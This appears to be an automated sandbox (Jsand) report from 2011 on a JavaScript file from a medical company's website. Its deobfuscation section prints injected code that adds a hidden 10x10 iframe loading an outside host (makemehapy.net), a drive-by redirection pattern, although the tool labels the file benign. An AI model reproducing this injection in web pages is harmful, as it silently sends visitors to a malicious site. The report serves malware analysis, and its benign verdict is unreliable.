Analysis report for file 0f9b0139c3f573fa8746b87252a2e5a9
Sample Overview
| File | www.momohime-medical.com.1.txt |
|---|
| MD5 | 0f9b0139c3f573fa8746b87252a2e5a9 |
|---|
| Analysis Started | 2011-08-03 05:14:03 |
|---|
| Report Generated | 2011-08-03 05:14:19 |
|---|
| Jsand version | 1.3.2 |
|---|
Detection results
| Detector | Result |
|---|
| Jsand 1.3.2 |
benign
|
Exploits
No exploits were identified.
Deobfuscation results
Evals
pos += parseInt(k.replace("ren", "0asd")) + ar2[i] / 4
-
(repeated 569 times)
if (document.getElementsByTagName('body')[0]){
iframer();
}
else {
document.write("
<iframe src='http://makemehapy.net/go.php?sid=2' width='10' height='10' style='visibility:
hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src', 'http://makemehapy.net/go.php?sid=2');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Writes
No writes.
Network Activity
Requests
| URL |
|---|
|
file://www.momohime-medical.com.1.txt
|
|
about:blank
|
|
http://makemehapy.net/go.php?sid=2
|
ActiveX controls
No objects/controls.
Shellcode and Malware
No shellcode was identified.
No additional malware was retrieved.